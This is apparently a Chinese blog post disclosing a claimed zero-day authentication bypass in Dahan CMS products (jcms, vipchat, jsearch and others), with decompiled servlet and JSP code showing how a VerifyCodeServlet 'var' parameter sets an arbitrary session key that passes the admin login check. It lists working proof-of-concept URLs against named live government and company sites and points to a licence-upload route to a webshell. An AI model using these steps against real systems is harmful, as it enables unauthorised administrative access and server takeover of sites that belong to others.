大汉网络0day通杀所有系统和版本

管理后台权限绕过,进入后台后轻松GetShell, 经验证通杀所有系统和版本,包括:jcms,jact,jsearch,vipchat,vc,xxgk等等。 Setup目录Session权限绕过:
代码分析 /jcms/setup/opr_licenceinfo.jsp :

  //获取Session中cookie_username的值,赋值给strUser 

 String strUser = (String)sessions.getAttribute("cookie_username");

 // 判断strUser值 是否为空?

 if( strUser == null || strUser.trim().length() == 0 ) {  

  out.println('请先登录!')

  return;

 }  //如果为空,则未登录,直接返回

// 如果不为空,说明已经登录
逆向java servlet 的代码 /VerifyCodeServlet
// 获取请求参数 var,赋值给 strVar 

 String strVar = Convert.getParameter(request, "var", ""); 

 if(strVar == null){ 

  request.getSession().setAttribute("COMPLAT", str_code); // 将随机码保存到SESSION中

 }else{

 // 如果 strVar 不为空的话,创建 strVar 为名称的 SESSION 值

  request.getSession().setAttribute(strVar, str_code); // 将随机码保存到SESSION中

 }

所以通过参数 var, 就可以控制SESSION的名称的创建
通过两个程序的分析,整理一下: 1. opr_licenceinfo.jsp需要一个SESSION cookie_username 不为空,就可以成功登录 2. /VerifyCodeServlet 可以 创建任意 SESSION的key值 所以两者配合,就可以构造成功登录了。 直接访问opr_licenceinfo.jsp 需要登录 http://www.zgzhijiang.gov.cn/jcms/setup/opr_licenceinfo.jsp 0 添加一个Session值 cookie_username http://www.zgzhijiang.gov.cn/jcms/VerifyCodeServlet?var=cookie_username 1 然后再次访问/jcms/setup/opr_licenceinfo.jsp,成功登录。 2 Licence文件上传webshell漏洞,不演示了,参考:http://wooyun.org/bugs/wooyun-2010-052699 vipchat 的 POC: http://sdds.gov.cn/vipchat/setup/ http://sdds.gov.cn/vipchat/VerifyCodeServlet?var=cookie_username http://sdds.gov.cn/vipchat/setup/admin.jsp 3 jsearch 的 POC: http://www.hyhjbh.com/jsearch/setup/ http://www.hyhjbh.com/jsearch/VerifyCodeServlet?var=cookie_username http://www.hyhjbh.com/jsearch/setup/opr_licenceinfo.jsp 4 其他的大汉系统,就不一一罗列了, 这算是一个VerifyCodeServlet组件的逻辑漏洞吧, 大汉的所有系统都包含VerifyCodeServlet这个组件,用于生成验证码, 所以导致了所有系统的通杀,影响范围非常广了。

发表评论